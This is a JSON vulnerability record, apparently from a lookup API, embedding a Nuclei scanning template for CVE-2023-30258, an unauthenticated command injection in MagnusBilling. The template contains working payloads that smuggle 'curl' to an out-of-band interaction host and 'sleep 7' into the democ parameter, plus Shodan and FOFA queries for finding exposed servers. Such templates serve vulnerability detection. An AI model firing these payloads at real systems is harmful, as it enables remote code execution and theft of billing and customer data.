{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-30258/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-30258/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-30258/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-30258/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-30258/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-30258"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-30258"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-30258.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-30258\n\ninfo:\n  name: MagnusBilling - Remote Code Execution\n  author: gy741,mananispiwpiw\n  severity: critical\n  description: |\n    Command Injection vulnerability in MagnusSolution magnusbilling 6.x and 7.x allows remote attackers to run arbitrary commands via unauthenticated HTTP request.\n  impact: |\n    Unauthenticated attackers can execute arbitrary OS commands on the MagnusBilling server, leading to complete system compromise and potential access to all billing data and customer information.\n  remediation: |\n    Upgrade to the latest patched version of MagnusBilling or apply vendor-provided security updates.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2023-30258\n    - https://attackerkb.com/topics/DFUJhaM5dL/cve-2023-30258\n    - http://packetstormsecurity.com/files/175672/MagnusBilling-Remote-Command-Execution.html\n    - https://github.com/magnussolution/magnusbilling7/commit/ccff9f6370f530cc41ef7de2e31d7590a0fdb8c3\n    - https://github.com/nomi-sec/PoC-in-GitHub\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-30258\n    cwe-id: CWE-78\n    epss-score: 0.9425\n    epss-percentile: 0.99847\n    cpe: cpe:2.3:a:magnussolution:magnusbilling:*:*:*:*:*:*:*:*\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: magnussolution\n    product: magnusbilling\n    shodan-query: http.html:\"magnusbilling\"\n    fofa-query: body=\"magnusbilling\"\n  tags: cve,cve2023,packetstorm,magnusbilling,rce,oast,unauth,intrusive,magnussolution,vkev,vuln\n\nflow: http(1) || http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};curl%20{{interactsh-url}};#\"\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol # Confirms the HTTP Interaction\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: curl\"\n\n      - type: status\n        status:\n          - 200\n\n  - method: GET\n    path:\n      - \"{{BaseURL}}/mbilling/lib/icepay/icepay.php?democ={{randstr}};sleep%207;#\" # For internal/blind environments\n\n    matchers:\n      - type: dsl\n        dsl:\n          - \"duration >= 7\"\n          - 'len(body)==0'\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a0046304402201dccddfe7d26c7ed701ab0394b660fcff17f665e27d5ed7057581f68b86b296d022067ad289dbd513903cd129e3dbe0cdca026c9e3c783588ffbda7c984a7dc41436:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-30258"
}